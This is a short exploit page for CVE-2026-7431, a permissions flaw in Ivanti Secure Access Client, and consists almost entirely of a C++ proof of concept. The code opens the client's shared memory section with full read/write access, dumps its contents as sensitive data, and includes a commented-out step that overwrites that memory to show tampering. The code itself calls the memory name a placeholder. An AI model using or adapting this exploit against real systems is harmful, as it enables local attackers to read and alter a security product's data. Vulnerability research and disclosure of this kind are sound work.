CVE-2026-7431 Ivanti Secure Access Client权限漏洞

#include <windows.h> #include <iostream> int main() { // Placeholder for the actual shared memory name used by Ivanti Secure Access Client // Attackers would need to reverse engineer the binary to find the exact name LPCSTR sharedMemoryName = "Ivanti_Secure_Access_Log_Memory"; // Attempt to open the shared memory section with read/write access HANDLE hMapFile = OpenFileMappingA(FILE_MAP_ALL_ACCESS, FALSE, sharedMemoryName); if (hMapFile == NULL) { std::cerr << "Error: Could not open shared memory. Run as local user." << std::endl; return 1; } // Map the view of the file to the address space LPVOID pBuf = MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0); if (pBuf == NULL) { std::cerr << "Error: Could not map view of file." << std::endl; CloseHandle(hMapFile); return 1; } // Read sensitive data from the shared memory std::cout << "[+] Successfully accessed shared memory." << std::endl; std::cout << "[+] Data dump (first 256 bytes): " << (char*)pBuf << std::endl; // Demonstrate modification (Integrity Impact) // strcpy((char*)pBuf, "MODIFIED_BY_ATTACKER"); // std::cout << "[+] Data modified in shared memory." << std::endl; // Clean up UnmapViewOfFile(pBuf); CloseHandle(hMapFile); return 0; }